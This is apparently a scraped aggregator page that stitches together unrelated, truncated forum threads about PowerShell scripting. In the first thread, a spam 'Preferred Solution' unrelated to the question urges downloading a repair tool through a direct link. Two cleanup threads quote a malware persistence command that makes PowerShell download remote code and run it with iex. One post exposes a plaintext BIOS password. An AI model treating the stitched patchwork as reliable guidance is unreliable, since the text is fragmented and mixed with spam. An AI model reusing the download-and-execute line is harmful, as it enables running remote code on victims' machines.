Over 1 million tech questions and answers.

Task: script to call Powershell as Admin and run powershell ...

Q: Task: script to call Powershell as Admin and run powershell ...

2017-04-20 10:35:38Successfully sent task to the Device Management Gateway 2017-04-20 10:35:44 Task has been retrieved by the Agent. 2017-04-20 10:36:18 Successfully configured BootCommand to "disable". 2017-04-20 10:36:18 Successfully configured WFType to "". 2017-04-20 10:36:18 Successfully executed ConfigWriteFilter task. 2017-04-20 10:36:18 Successfully executed common task. 2017-04-20 10:36:18 Map repository to: Master Repository 2017-04-20 10:36:18 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:45 Task has been retrieved by the Agent. 2017-04-20 10:37:50 Deploy files using repository Master Repository. 2017-04-20 10:37:50 Successfully downloaded RenameTC.ps1 to C:\Windows\ from /Repository/Files/ToDeploy/Make a Change Template. 2017-04-20 10:37:50 Successfully executed DeployFiles task. 2017-04-20 10:37:50 Successfully executed common task. 2017-04-20 10:37:50 Successfully sent task to the Device Management Gateway 2017-04-20 10:37:56 Task has been retrieved by the Agent. 2017-04-20 10:38:06 Execution result (below): 2017-04-20 10:38:06 C:\Windows>powershell C:\Windows\RenameTC.ps1 2017-04-20 10:38:06 C:\Windows\RenameTC.ps1 : File C:\Windows\RenameTC.ps1 cannot be loaded 2017-04-20 10:38:06 because running scripts is disabled on this system. For more information, see 2017-04-20 10:38:06 about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170. 2017-04-20 10:38:06 At line:1 char:1 2017-04-20 10:38:06 + C:\Windows\RenameTC.ps1 2017-04-20 10:38:06 + ~~~~~~~~~~~~~~~~~~~~~~~ 2017-04-20 10:38:06 + CategoryInfo : SecurityError: ( [], PSSecurityException 2017-04-20 10:38:06 + FullyQualifiedErrorId : UnauthorizedAccess 2017-04-20 10:38:06 Failed to execute Script task. 2017-04-20 10:38:06 ErrorCode: 14004022, Error Detail: Command line error. 2017-04-20 10:38:06 Failed to execute common task. 2017-04-20 10:38:06ErrorCode: 14004022, Error Detail: Command line error. I Can Successfully run this .Ps1 logged on as the Admin and User accounts locally. the script is not the issue. the issue is with the coding inside the Task -the code is: powershell -noprofile -command "&{start-process Powershell -ArgumentList ' -noprofile -file c:\Windows\RenameTC.ps1' -verb RunAs}" this failes to allow the script to run being denied access. i have told this script to run as Admin (built in Admin account) and also (SYSTEM) as well. both fail out trying to run this task with the info i posted from the Task View Sequence. I need to be able to run this as part of my imaging task sequence. doing this manually is not really an option. How can i get the Script to Open up powershell as admin and run a powershell script without failing?

Read other answers
Preferred Solution: Task: script to call Powershell as Admin and run powershell ...

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)


Hope I'm in the right place!

I am trying to get a Powershell script to run daily in the task scheduler. It basically purges a folder on one of my drives:

Get-ChildItem ?Path ?D:\Dropbox\Quicken\Backup? ?Recurse | Where-Object CreationTime ?lt (Get-Date).AddDays(-10) | Remove-ItI

I can run it from a CMD prompt and I set it up in the task scheduler and it seemed to run one time on schedule and then hasn't run since that initial time. I have tried to run it manually from the task scheduler but it gets and error "Task Start Failed."

I have attached copies of the properties tabs and the main view of the task scheduler with the History showing. Any ideas? I didn't find a tutorial, but I'm sure there is something on the website!


Al Guden


Read other answers

Hi to all,
I would like to create a powrshell script that will exectute a scheduled task on Windows 7 X64.I tried to find it on Internet without solving my problems.Please find below the description of what i want.
Purpose: Create Powershell script to run a scheduled task

What does the scheduled task do? Execute the following command when starting the PC: 

Regsvr32 /s C:\Windows\SysWOW64\oleacc.dll
with the system account of the machine concerned.This task is performed when the PC is restarted.
i'm a beginner in powershell.
THank you for your help.

Read other answers

Not sure what happened but this was double posted. Please see the other post with this title. Thank you.

Read other answers

Hello everyone. I joined the forum today and hope you can help me out. On my work desktop I am running Windows 7 and I want to upgrade PowerShell version 2.0 to 4.0 as a minimum or 5.0. I've read many articles on fixing Windows PowerShell issues but my case seems to be a little different.

To begin, I have the following prerequisites on my computer:
Windows 7 SP1
.NET 4.5
Here is the list of all .NET versions on my computer:
v2.050727 2.050727.5420 SP2
v3.0 3.0.30729.5420 SP2
v3.5 3.5.30729.5420 SP1
Client 4.6.01055
Full 4.6.01055

The version of PowerShell that I have access to is 2.0. When I try to install Windows Management Framework 4.0 (x64: Windows6.1-KB2819745-x64-MultiPkg.msu) I get the following message: "Update for Windows (KB2819745) is already installed on this computer." but when I look for it in "View installed updates" or "Uninstall or change a program", it doesn't show up. I've done searches for it on my computer and came up empty. Powershell does not show up in my "All Programs" list, Program Files / Program Files (86) or its Common Files, or in the local or roaming user files. The only place I see remnants of it such as the powershell.exe file is within C:\Windows\winsxs\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_7.3.7601.933_none_3989ef6dcae7e4a9 and a few other folders like it within the winsxs directory. I don't even think the version 2.0 I am a... Read more

Read other answers

Background: I have some text files I want to copy only specific text from. Can I start and stop with certain identifiers within the file?

The files I need to split have a heading and footer with a bunch of *s. Is there any way I can look for a specific number of *s and tell the script to copy everything between the header and footer?

They're not a header and footer per se, but these *s surround the data which I actually want.

A:Powershell Script Help

I've done some thought on this and is there a way to do something like this:

$asterisk = "***************************************"

read file lines

count asterisk

while asterisk = 3

copy data to another file

when asterisk = 4

stop and go to next file

I'm fairly new to scripting. This makes logical sense in my mind, but I'm not quite sure how to run it.

Read other 1 answers

Hi, I am running a logon script that elevates to run as admin. But users get the popup message every time they log in.

Is there way to add the script as trusted so once a user clicks yes it adds as a trusted script and runs every time without the UAC popup thereafter. Thanks
powershell -noprofile -command "&{ start-process powershell -ArgumentList '-noprofile -file DataBackup.ps1' -verb RunAs -WindowStyle Hidden}"

Read other answers

Hi I just downloaded and installed the latest HP ILO commandlet package. When I run a simple command I get the an error which I don?t understand. I?m hoping you can help me. I?m running on a Windows 7 64bit desktop with the 64bit version of the HP ILO package.  PS C:\Windows\System32> $psversiontable

Name Value
---- -----
PSVersion 4.0
WSManStackVersion 3.0
CLRVersion 4.0.30319.42000
BuildVersion 6.3.9600.16406
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion 2.2   Here is the command and resulting error message I?m getting: PS C:\Windows\System32> Get-HPiLOServerName -Server usraciPV100-r  -Username "RILOE_ADMIN" ?Password "password" -DisableCertificateAuthenticationError - - usraciPV100-r - Error retrieving information from iLO

Exception calling "UploadString" with "3" argument(s): "The remote server returned an error: (404) Not Found."

At C:\Program Files\Hewlett-Packard\PowerShell\Modules\HPiLOCmdlets\HPiLOCmdlets.psm1:19218 char:25
+ throw $retobject.err
+ ~~~~~~~~~~~~~~~~~~~~
+CategoryInfo :OperationStopped: (Exception calli...4) Not Found." :String) [], RuntimeException
+FullyQualifiedErrorId :Exception calling "UploadString" w... Read more

Read other answers

kindly help me sample powershell script to below sceanrios
1) just to find dll versions for list of machine
2) just to find add and remove program from list of machines
3) just to find installed KB or patches from list of machines

Read other answers

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($ B)"
Has anyone run across this before?  I searched the forums and came across one but the topic was closed. http://www.bleepingcomputer.com/forums/t/574756/powershellexe-script-running/
I have run Malwarebytes and removed malware. I have also run roguekiller to remove poweliks.

A:powershell.exe script running

First let's attempt to remove the registry key that causes that powershell windows to open:
1. Press the Windows key and the "R" key at the same time, and then type this in the window that opens: regedit

2. Windows registry editor will open. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run, using the menu on the left. If you do not know how to use regedit, here's a guide. However, it's really simple and I doubt you need a guide
3. When you're there, on the right side of the screen, find the item which "data" begins with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe, and right click and delete it!
If it's not there, please check if it's in  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, and delete it.
Warning: only remove that item I mentioned! Don't delete anything that isn't in those two locations, and which data doesn't start with cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
Now the powershell shouldn't start when you boot the PC. However, your PC may still be infected.
You know how to run Malwarebytes, so please do a scan and remove the malware it finds. If it asks you to restart the PC, say "yes". Then, open Malwarebytes, select the "History" tab on the top, click the most recent "scan log", and on the window that opens, on the bottom, click "export --> copy to clipboard" and paste it here.

T... Read more

Read other 5 answers

I need to make an installation script for Messag Analyzer 1.4. After installation, the welcome screen, updates, user contact and Telemetry should be disabled. I don't find any installation switches to do that. I've found that app.applicationconfiguration
is used to store those configurations but it is created after I manually do the configuration.
I'd like to disable these parameters during installation. I don't want the users manually configure these settings.
Can you help me with that issue please?
Thanks for your time!


Read other answers

Ok, so this doesn't necessarily have to do with Windows 7, but I originally wanted to reply to a post on Vista forums and somehow I ended up here. Anyway...

I actually tried all of this on Windows Server 2008 - set policies, scripts and logged on there.
Here's one way that actually works. 1) created a logonScript.ps1 file with whatever in it for the actual logon script. 2) created GPO with a policy for running a logon script and specified a vbScript file: launcher.vbs. 3) put those two files in the same folder related to the policy if you know what I mean.
The launcher.vbs contains:
' set up objects
Set WshShl = WScript.CreateObject("WScript.Shell")
Set fileSys = CreateObject("Scripting.FileSystemObject")
Set scriptFile = fileSys.GetFile("logonScript.ps1")

WshShl.Run("PowerShell.exe -NoLogo -NoProfile -command ""&{set-executionpolicy Unrestricted;&'" & scriptFile & "'}""")
That last line causes something like:
'PowerShell.exe -NoLogo -NoProfile -command "&{set-executionpolicy Unrestricted;&'\\IT270\sysvol\IT270.com\Policies\{AAD5280F-A3B7-4F65-B15B-27E6F92BA431}\User\Scripts\Logon\logonScript.ps1'}"
to run.
The one remaining problem is that I still get a prompt asking me if I want to run the script or not. If I set the IE intranet zone trusted sites to have file://IT270 then that prompt goes away. Unfortunately, setting it with Group Policy didn't work. I had to do ... Read more

A:PowerShell logon script

I've also created a Powershell login script here which I run not using Group Policy but from the user's AD account as part of their actual login script.

Powershell login script to map network drives, printers and applicaton settings

Hope this helps others out.

Read other 1 answers

I am trying to clean an infection on a computer.  I have removed everything but this.  Every time I reboot.  I get a powershell window open with a bunch of numbers in it.   Under HKCU\Software\microsoft\run I have a key called winsystem with this in it.
cmd.exe /c start C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString(''); iex $($b)"
I removed the key several times and it just comes back.  I have run the following programs.
Norton Power eraser
HJT log file attached.
Has anyone run across this before?  I searched the forums and did not find anything.

A:Powershell.exe script running.

Hello, Welcome to BleepingComputer.I'm nasdaq and will be helping you.If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.===Download the version of this tool for your operating system.Farbar Recovery Scan Tool (64 bit)Farbar Recovery Scan Tool (32 bit)and save it to a folder on your computer's Desktop.Double-click to run it. When the tool opens click Yes to disclaimer.Press Scan button.It will make a log (FRST.txt) in the same directory the tool is run. Please copy and paste it to your reply.The first time the tool is run, it makes also another log (Addition.txt). Please attach it to your reply.===p.s.HijackThis is not ready for windows 7 and above.I suggest you remove it using the Add/Remove Programs applet.Use the the Farbar tool from no own to report problems.

Read other 2 answers


I have this powershell script that keeps on saying the length of the SID is wrong, or that I have invalid chars in the SID. The script is supposed to add an outbound firewall rule which blocks all traffic from a local user . The environment is Windows 10. Just change the username 'owner' to any user name on your system.

function getSID {
$objUser = New-Object System.Security.Principal.NTAccount($args[0])
$strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
$strSID.Value }

new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser (getSID 'owner')

Click to expand...

So I tried using the output of the function directly as a string and it still complains of the same thing:
new-netfirewallrule -displayname 'Block User' -direction outbound -action block -localuser 'S-1-5-21-111336864-2315030922-3644749520-1001'Click to expand...

Any ideas ?

I have to use Powershell because in their command it has the 'localuser' option, which is not available when using 'netsh advfirewall', the command line tool. Apparently netsh is not going to be updated anymore, and Powershell is the way forward.

The manual way of doing this is to use Windows Administrative Tools > Windows Firewall with Advanced Security. Creating a outbound, custom rule which just blocks. Then go back into the rule's properties and the Local Principals tab will appear, where you ... Read more

A:Can't get this Powershell script to work

Read other 6 answers

# Need to create 100 mailboxes using the powershell script"
$DefaultPW = read-host "Enter Password" -AsSecureString

import-csv "C:\ExchangeTest1.csv" | Foreach-object {

$Fname = $_.FName
$LName = $_.LName
$User = $_.Username
New-Mailbox -UserPrincipalName $[email protected] -Alias $User -Database "MB1" -Password $DefaultPW -FirstName $FName -LastName $LName -ResetPasswordOnNextLogon $true


Read other answers

I'm trying to set up a dual boot system with Win8, (already installed on a new laptop), and Win 7.
Following instructions from a forum thread I got as far as downloading oscdimg.exe into the Win7_ISO directory.
However whatever I try, full path, etc., I get this error
oscdimg.exe : The term 'oscdimg.exe' is not recognized as the name of a cmdlet, function, script file,
or operableprogram.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

The command I am trying to run is
PS C:\Win7 ISO> oscdimg -w4 -os -lWin_7_x64_UEFI_ISO9660 -m -o -n -pEF -e -bc:\Win7 ISO\efi\microsoft\boot\efisys.bin c:\Win7 ISO c:\Win_7_x64_UEFI_ISO9660.iso

It's a steep learning curve

A:Admin powershell will not run local exe

You need to download Assessment and Deployment Kit (ADK) and install it. After installed, you'll have a Deployment and Imaging Tools Environment tile in the Start Menu, run it as admin.

Read other 3 answers

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers

Hey guys, and thanks for the help in advance!  Rather than hijack another's thread I will wreak my havoc here.
From what I just read (Thanks to Didier Stevens) I see that I have an older version of PowerShell, and that this Script won't work.  Here is my outcome.  I will go try to find the info on Updating Powershell, and then try the script again.  Any advice on that would be nice, if there is anything to avoid etc.  Hopefully this will also help others with this issue.

Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> Install-Module SpeculationControl
The term 'Install-Module' is not recognized as the name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:15
+ Install-Module <<<< SpeculationControl
+ CategoryInfo : ObjectNotFound: (Install-Module:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException

PS C:\Windows\system32> get-host|Select-Object version

PS C:\Windows\system32>

I am a little confused about what this Script does?  Is it that not all CPU's are vulnerable?  My CPU does not have a current firmware update so it may be vulnerable at this time (though not to worried about it ATM) I have time to work on it now, so I'll try to move for... Read more

A:Meltdown and Spectre Powershell-Script Won't Run, Me Too!

You need to install the Windows Management Framework to update PowerShell.
Take a look at the table here to see which version is compatible with your Windows version:

Read other 5 answers

I work in a school and was wanting to get some help with setting up a logon script. In our school we have a few computer rooms where students would take exams on a pc. So for example a room would be in D block and the room number would be 6. We also have 'test' accounts which we deny access to Internet and other such things. What I would like to know is how would a script work to login each computer as a test user on each computer in D6.

Read other answers

Hi, I'm looking for some help!
I'm trying to write a script that will set the default printer to PRINTER3 if the current default printer is called PRINTER1, then exit powershell. I have hundreds of devices in different locations to change so this would be very helpful if someone could
Here is what I have so far:

Set-Content C:\Temp\current.txt (Get-WmiObject -namespace root\cimv2 -Query ?select * from Win32_Printer Where Default = TRUE? | select -ExpandProperty name)
$current=get-content C:\Temp\current.txt
if (-eq ($current - 'PRINTER1'))
(Get-WmiObject -Class Win32_Printer -Filter "Name='PRINTER3'").SetDefaultPrinter()


Read other answers

Hello, I have a PowerShell Script I would like to run at any user logon. I have set task scheduled to run the script. But the message the script is to pop up is not showing. Does anyone have any ideas about why the pop up message in the scheduled script
is not showing?
I will add that the script does work. I can run the script and the message pops up. But, trying to run it from the task scheduler, nothing happenings. The Task Scheduler last run result, says completed successfully. But still the message does not show.

TechNet Forums

Read other answers

I am writing a script to change my computer settings when I go to work and change them back when I get home.

I would like to know how to script turning on/off Airplane Mode. If that's not possible, how do I script turning on/off wireless and Bluetooth?

$Office = 'e40fb68e-3e3a-4942-aa68-0490b7e7a790'
$Balanced = '381b4222-f694-41f0-9685-ff5bb260df2e'
$currHour = (get-date).hour
if ($currHour -ge 7 -and $currHour -le 14) {
powercfg -SetActive $Office

#Disable-NetAdapter -Name "Wi-Fi"
#Start-Service -displayname "Bluetooth service"

} else {

powercfg -SetActive $Balanced

#Enable-NetAdapter -Name "Wi-Fi"

#Stop-Service -displayname "Bluetooth service"

A:Powershell script Airplane Mode

Hello Jesus, and welcome to Eight Forums.

I'm not sure about with a PowerShell script, but you might see if the shortcuts below to turn Airplane Mode off and on may work for you. You could pin or use them where you like.


Hope this helps,

Read other 7 answers

set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

REM for /r %LISTFOLDER% %%I in (*.txt) do echo xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
for /r %LISTFOLDER% %%I in (*.txt) do xcopy /qvs "%FILESPATH%\%%~nxI" "%DESTPATH%%%~pnxI"
This script does not work.

The poster on another fourum said it could be a typo or something, but no further info was provided what the correct script is, although he had no errors, he mentioned it could be environment, I'm on win7 x64.

I have another similar script for filenames in a txt only, which appears to work, but it doesn't work because I have filespath in the txt, in the meantime i'll manually remove paths to see if it'll work with that, but still this script would be handy to save time in future.

A:CMD or Powershell Moving - script not working

I've got it working a bit more with filenames

@echo off

set FILELIST=D:\List\imageFilenames.txt
set FILESPATH=D:\Igre\COD-MW2\main\images
set DESTPATH=D:\Igre\COD-MW2\main\images\thepit

for /f %%X in (%FILELIST%) do call :COPY_FILES "%%X"
goto :eof

for /r %FILESPATH% %%I in (%~1) do xcopy /qvs "%%I" "%DESTPATH%%%~pnxI"
But the error is

"cannot perform cyclic copy"

Read other 2 answers

kindly let me how to install exe on mutiple machines using powershell script (input file will be txt or csv)

Read other answers

I need copy files from one(source) server to another(destination) server and want to log an event in case any failure happens for example if destination server is not available.
I have tested the following command in a powershell script and its just working fine for copy to destination and then moving the files to archive. 

Copy-Item "c:\copy\*" -Destination "\\server1\d$\testcopy" 
Move-Item "c:\copy\*" -Destination "c:\Archive" 

Please advise how can i log event in eventviewer in case of error or if script is not executed.

Read other answers

I am looking for a script which will export NTFS permission to to excel. 

below script will serve the purpose, but since I am running on a large share with millions of folder its running for days and not sure where its stuck. 

1st day it showed me couple of error saying dont have access to this folder in PowerShell and after that it stopped showing any error but something is still running i guess but script not finished after 4 days. 

what I am looking for is a script which will create excel first and keep writing to the excel rather that storing in table and and export at the end so i know if the script is progression or not?  

$FolderPath = dir -Directory -Path "\\server\share" -Recurse -Force
$Report = @()
Foreach ($Folder in $FolderPath) {
    $Acl = Get-Acl -Path $Folder.FullName
    foreach ($Access in $acl.Access)
            $Properties = [ordered]@{'FolderName'=$Folder.FullName;'AD
Group or
            $Report += New-Object -TypeName PSObject -Property $Properties
$Report | Export-Csv -path "C:\\Export NTFS Permission.csv"

Read other answers

I need some help getting the below to work. I must use WinrM witrh a server list.. can anyone help ?

$sessions = get-content D:\Powershell\Space\Allservers.txt | New-PSSession
$block = {
function Get-DriveSpace
param( [Parameter(Mandatory=$true)]$computer , [int]$thresholdMultiplier=.20 )
[string]$filter = "DriveType = '3'"
Get-WmiObject -class win32_logicaldisk -filter $filter -comp $computer |
Select-Object Name,@{label="SizeMB";Expression={[Math]::Truncate($_.Size / 1MB)}},
@{label="FreeMB";Expression={[Math]::Truncate($_.FreeSpace / 1MB)}},
@{label="WarningMB";Expression={[Math]::Truncate(($_.Size * $thresholdMultiplier) /1MB)}}|
Where-Object{$_.FreeMB -le $_.WarningMB}
} catch {
Write-Verbose "Error $Error in getting disk space for $computer"
[string]$body = Invoke-Command -ScriptBlock $block -Session $sessions | Select sizeMB,freeMB,WarningMB | Sort WarningMB | ConvertTo-Html
Send-MailMessage -SmtpServer " " -From " " -To " " -Subject "Servers Less Than 20% Free" -Body $body -BodyAsHtml

A:Powershell script for disk space - pssession

Hello and welcome to the forum.

I think I know the member who can help you I will forward this to him.

Read other 1 answers

hi i have problem with some app for example powershell or Troubleshooting
see event :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Application Error" />

<EventID Qualifiers="0">1000</EventID>




<TimeCreated SystemTime="2014-10-17T18:13:30.000000000Z" />


<Security />

- <EventData>













<Data />

<Data />


- <Event xmlns="... Read more

Read other answers

powershell  sample script to install bat or cmd fles on mutiple computers remotely

Read other answers

Hey there, my Windows 10 Machine is updated and patched with the update: kb4056892.
My processor: Intel® Core™ i3-3240 CPU @ 3.40GHz.
Engine: Intel® Management Engine.
My OS: Microsoft Windows 10 Home 64x.
My Desktop: Hewlett-Packard, Pro3500 Series
already tested it with: Intel-SA-00086 Detection Tool   (I don't Know what the Tool doe's but people says it will scan if your processor is patched against Meltdown, or Spectre.. but i don't know.. :s)
and the results are: This system is not vulnerable.
but iknow MS have created an Powershell-Script to check if your system is Patched against Meltdown or Spectre or if it need Firmware update or not..
But when i run the Scripts:
Install-Module SpeculationControl (It asks me how to open it with an app)
already changed the: Set-ExecutionPolicy Bypass (To YES all)
But nothing has helped.. and i need to run this Script, anything to fix this so that i can run the Script, to check my System?
already have enabled (Strict Site Isolation in Google Chrome) and as always using an adblocker to protect me from Malicious Ads, other things.. 

A:Meltdown and Spectre (Problem with Powershell-Script!) Need Help ..

You have already applied the KB patch that fixes the vulnerabilities.   There is nothing more that needs to be done.

Read other 55 answers

i am trying trying to have my powershell script say "ok, computer will restart now" after user inputs a y after they are aked if they would like to reboot.and it just jumps right by it and says "OK... computer will NOT be restarted. Also if the use hits enter to any of the first 3 questions i want all the parameters to stay the same. below is the script i have so far. can anyone help. You will have to excuse me if this is a dumb question. I just started learning powershell.

# Funtion FUNC-y/n
function FUNC-y/n
{do {$yn = Read-Host "Would you like to reboot now (y/n)?" }
until ("y","n" -ccontains $yn)}
$compd = Get-WmiObject -Class Win32_OperatingSystem |Select Description
write-host "Your existing computer description is " $compd
$cn = Read-Host "Enter computer name"
write-host ""

$desc = Read-Host "Enter computer description"
write-host ""
$OSWMI=Get-WmiObject -class Win32_OperatingSystem
$OSWMI.put()| out-null #| OUT-NULL suppressess powershell command outp... Read more

Read other answers

Hello, I need help in setting bios settings remotely to 1000+ computers. I have a problem where I have computers with two different passwords. I came up with PowerShell script but the two passwords don't work in conjunction together. Can you please help with the scripts. Can you also provide me with VBS script so I can use group policy to apply the changes? Powershell will work in SCCM task sequence but doesn't work in group policy because of evaluation issues. Here is the script I came up with:   param(
$settings = Get-Content $config
foreach($setting in $settings)
$run = "$setting,$password,ascii,us"
$Response = (gwmi -class Lenovo_SetBiosSetting -namespace root\wmi).SetBiosSetting("$run").return
write-output ("$setting`n$Response")
if($Response="Access Denied")
$Response = (gwmi -class Lenovo_SaveBiosSettings -namespace root\wmi).SaveBiosSettings("$password,ascii,us").return
write-output ("$setting`n$Response")

}Powershell.exe -ExecutionPolicy bypass -file "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\powershell.ps1" -password h3cabozihctymage -config "\\mdt\deploymentshare$\Scripts\Westmount\BIOS Update\Lenovo Bios Setting.txt" The  script works but not with second password.  Is it possible you can help me out here? I have very... Read more

Read other answers

Hi all,
forgive me if this is the wrong folder.
I am googling scripts to find a PS script to count file types and files in several directory's on our network.
I am a noob on powershell, and I'm trying to experiment.
I have several directory's on my "Libraries" directory on my pc at work. I'm just trying to test a PS script to get this to work to count the files and list the file types in my "Libraries\Documents\Tidbits" folder.

Get-ChildItem \\hilltop3\users$\LongRandy\My Documents\TIDBITS
but I get this error:"Get-ChildItem : Cannot find path '\\hilltop3\users$\LongRandy\My' because it does not exist.
At line:1 char:14
+ Get-ChildItem <<<< \\hilltop3\users$\LongRandy\My Documents\TIDBITS
+ CategoryInfo : ObjectNotFound: (\\hilltop3\users$\LongRandy\My:String) [Get-ChildItem], ItemNotFoundExc
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand"

How can I put in the ENTIRE file path? It just arbitrarily truncates the path?

Thanks again

A:Powershell script to count file types

You may find someone qualified for answering this here but your best bet is a place like this https://social.technet.microsoft.com...rverpowershell

Read other 2 answers

Very interesting results regarding AVG/Avast. I would never have thought they'd outperform ESET/Kaspersky/Symantec at the try harder part.

Read other answers

I want to turn on and off Airplane mode through powershell script, any way for this?
I know that there are some exe files that can be used, but still I want to do this from powershell script.

A:How to Turn On/Off Airplane mode in windows through powershell script

According to your description, I would like to share the link with you:
Airplane Mode On or Off Shortcuts - Create in Windows 8
If you want to the detail of the script, I suggest to post the question on Script Center forum for further help.
Script Center forum:
Note: Microsoft provides third-party contact information to help you find technical support. This contact information may change without notice. Microsoft does not guarantee the accuracy of this third-party contact information.
TechNet Community Support

Read other 3 answers

Hi all,

I'm trying to make a batch or powershell file that will call multiple names and passwords from a CSV file and then create local users with them.

Anyone able to help? - I've made users in command line before using the Net User command, but i'm not sure how to use the variables to say read the data from this spreadsheet, then add a user with it.

Any help would be gratefully received!


A:Batch / Powershell script to add multiple Local users

i found this from when i used to do sysadmin,

# AUTHOR : Marius / Hican - http://www.hican.nl - @hicannl
# DATE : 26-04-2012
# COMMENT : This script creates new Active Directory users
# including different kind of properties based
# on an input_create_ad_users.csv.
Import-Module ActiveDirectory
# Get current directory and set import file in variable
$path = Split-Path -parent $MyInvocation.MyCommand.Definition
$newpath = $path + "\import_create_ad_users.csv"
# Define variables
$log = $path + "\create_ad_users.log"
$date = Get-Date
$i = 0
# Change this to the location you want the users to be created in your AD
$location = "OU=Test,OU=Users,DC=hican,DC=nl"
Function createUsers
"Created following users (on " + $date + "): " | Out-File $log -append
"--------------------------------------------" | Out-File $log -append
Import-CSV $newpath | ForEach-Object {
# A check for the country, because those were full names and need
# to be landcodes in order for AD to accept them. I used Netherlands
# as example
If($_.CO -eq "Netherlands")
$_.CO = "NL"
# Replace dots / points (.) in names, because AD will error when a ... Read more

Read other 1 answers

Wondering if anyone in this forum can help me figure out what I am doing wrong with my script. I am grabbing a text file with a list of users in it. I want to then create folders for all those people and then set explicit permissions on those folders to only allow the users and admin access to it. So for the create user folder, I have...

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
$newPath = Join-Path \\mycomputer\Users$ -childpath $user
New-Item $newPath -type directory

This works great as I now have 100 folders created. But how do I use something like....

$acl = Get-Acl "\\mycomputer\users$"
$permission = "mydomain\$users","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl | Set-Acl \\mycomputer\users$\$user

When I try to loop these together it says the folder already exists or the setaccessrule identity references could not be translated.

Anyone know how I loop it in with creating the folder? Or is there a way to just say...create folder based on this username, then take that username and make it the only admin on the folder along with the system admin??

A:powershell script to create user folders and set permissions

answered my own problem...but maybe someone can help me out from here. This works for creating folders and setting permissions.

$Users = Get-Content "C:\Users.txt"
ForEach ($user in $users)
$newPath = Join-Path "\\myserver\Users$" -childpath $user
New-Item $newPath -type directory

$acl = Get-Acl $newpath
$permission = "mydomain\$user","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl | Set-Acl $newpath

Anyone know how I would then look at an old server with user folders and do a stare and compare between the old and the new ones I just created? And once I find a folder that matches I want to grab all the contents in the old server and robocopy it over to the new server.

Read other 3 answers

Hi Team,
How to consolidate please all repport mbsa to one report
found this link to convert to xml and xls files but not my needs
I'm not expert for Scripting
Appréciate your helps :)


Partager C'est avancer : Votez!SVP

Read other answers

Hi All I've found and successfully used the quick script to change BIOS passwords via Powershell for the Thinkpad line. I'm hoping the community can point me to a similar script for the Thinkcentres. We have several hundred Thinkcentres to update and the .vbs scripting information I've found isn't working for us. I'm really hoping there's a quick line similar to the Thinkpads. Thanks for any help.

Read other answers


I would like to automatize cleaning the Windows 10's start menu from all these default pinned apps that I'm not using. I don't want to remove apps, only unpin from from start.

I tried to google help, but didn't find any. There seems to be no command to pin and unpin apps in start menu. Any alternative methods? The information about the configuration of start menu must be stored somewhere, so has anyone found a way to hack this information?

A:How to automatically (cmd/powershell script) unpin all apps in start

I want to do this too and I remember reading of a way, however I might be mistaken. Hopefully, someone will respond and let us know.

Read other 3 answers

Hello all,

I was wondering if it is possible to user Powershell to disable local admin rights on networked computers.

Read other answers

I want below settings in Visual Effect performance settings using CUSTOM option via Powershell script: 

This should be work for both Windows 10 and Windows 7. Below is my code to set the setting:

$OsMajorVersion = [System.Environment]::OSVersion.Version.Major
$OsMinorVersion = [System.Environment]::OSVersion.Version.Minor

$DisableVisualEffectStatus=Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "visualfxsetting" -ErrorAction SilentlyContinue

if($visualfxsetting -eq $null)
New-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "visualfxsetting" -Value 2 -PropertyType "DWord"
Set-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "visualfxsetting" -Value 2
Set-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects" -Name "visualfxsetting" -Value 3

if($OsMajorVersion -eq 10)
if($OsMinorVersion -ge 0)
